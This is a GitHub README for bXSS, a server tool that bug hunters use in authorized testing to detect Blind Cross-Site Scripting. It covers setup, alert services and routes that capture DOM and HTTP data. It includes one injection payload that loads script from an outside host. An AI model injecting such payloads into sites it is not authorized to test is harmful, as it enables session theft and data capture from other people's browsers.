Skip to content

bXSS is a utility which can be used by bug hunters and organizations to identify Blind Cross-Site Scripting.

License

Notifications You must be signed in to change notification settings

LewisArdern/bXSS

Repository files navigation

Language grade: JavaScript

bXSS is a utility which can be used by bug hunters and organizations to identify Blind Cross-Site Scripting.

bXSS supports the following:

Requirements

Necessary

  • Server you control
  • Usable domain
  • Node.js and Express.js

Optional

Set-Up

Default

  • cd bXSS && npm install
  • Update The Configuration || Environment Variables
    • Domain
      • config.url = Domain intended for use e.g ardern.io
      • config.port.http = Port to run the Node.js app e.g 80
  • Rename configExample.js to config.js

Configuring Services

Services are optional, by default bXSS will save a markdown file to disk. If you don't want to use any service documented below, just delete the service from the config.

  • Twilio
  • Slack
  • Cisco
  • Discord
  • Twitter
    • config.twitter.consumer_key = API Key
    • config.twitter.consumer_secret = API Secret Key
    • config.twitter.access_token_key = Application Access Token
    • config.twitter.access_token_secret = Application Access Token Secret
    • Permissions (Write)
    • config.twitter.recipient_id = Twitter User ID, which can be found here
  • SMTP
    • config.smtp.user = email username
    • config.smtp.pass = email password
    • config.smtp.port = port you are connecting to e.g 465
    • config.smtp.host = host you are connecting to e.g smtp.example.com
    • config.smtp.to = ['email1@domain.com','email2@domain.com'] where you want to send the emails
    • config.smtp.tls = use TLS, boolean true or false
  • Github

Setting Up HTTPS

Consider using a reverse proxy, for example in NGINX, but if you want to configure HTTPS using express, follow the steps below:

  • Obtain a let's Encrypt cert
  • Using Node.js
    • Update Configuration
      • config.letsEncrypt.TLS = true;
      • config.letsEncrypt.publicKey = $Path/fullchain.pem
      • config.letsEncrypt.privateKey = $Path/privkey.pem
      • config.letsEncrypt.ca = $Path/chain.pem
      • config.port.https = 443

Starting The Application

Once you have configured the above, simply start the server with any available utility at the application root directory:

  • node app.js
  • nodemon app.js
  • pm2 start app.js

Using

Once the application is functional, you would just identify sites you are authorized to test and start to inject different payloads that will attempt to load your resource, the easiest example is:

"><script src="https://example.com/m"></script>

The application has the following routes:

  • POST - /m (Captures DOM information)
  • GET - /mH (Captures HTTP interactions)
  • GET - /alert (displays alert(1))
  • GET - /payloads (Gives payloads you can use for testing blind xss)
  • GET - /** (All other routes load the payload)

Contribute?

If you like the project, feel free to contribute or if you want to suggest improvements or notice any problems, file a issue.

About

bXSS is a utility which can be used by bug hunters and organizations to identify Blind Cross-Site Scripting.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published